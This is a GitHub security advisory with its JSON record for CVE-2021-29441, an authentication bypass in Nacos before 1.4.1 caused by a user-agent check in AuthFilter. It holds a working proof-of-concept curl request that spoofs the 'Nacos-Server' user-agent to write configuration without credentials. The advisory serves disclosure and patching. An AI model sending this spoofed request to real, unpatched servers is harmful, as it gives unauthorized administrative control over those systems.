GHSA-36HP-JR8H-556F

Vulnerability from github – Published: 2021-04-27 20:09 – Updated: 2021-05-10 14:56
VLAI?
Summary
Authentication Bypass
Details

When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.

The following request to the configuration endpoint gets rejected as we are not providing any credentials:

❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}

However the following one gets accepted by using the Nacos-Server user-agent header:

❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.alibaba.nacos:nacos-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-27T20:08:38Z",
    "nvd_published_at": "2021-04-27T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.\n\nThe following request to the `configuration` endpoint gets rejected as we are not providing any credentials:\n```\n\u276f curl -X POST \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo\u0026group=foo\u0026content=helloWorld\"\n{\"timestamp\":\"2020-12-02T14:33:57.154+0000\",\"status\":403,\"error\":\"Forbidden\",\"message\":\"unknown user!\",\"path\":\"/nacos/v1/cs/configs\"}                                                                                                       \n```\n\nHowever the following one gets accepted by using the `Nacos-Server` user-agent header:\n```\n\u276f curl -X POST -A Nacos-Server \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo\u0026group=foo\u0026content=helloWorld\"\ntrue \n```\n\n#### Impact\n\nThis issue may allow any user to carry out any administrative tasks on the Nacos server.",
  "id": "GHSA-36hp-jr8h-556f",
  "modified": "2021-05-10T14:56:08Z",
  "published": "2021-04-27T20:09:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alibaba/nacos/issues/4701"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alibaba/nacos/pull/4703"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-36hp-jr8h-556f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Authentication Bypass"
}


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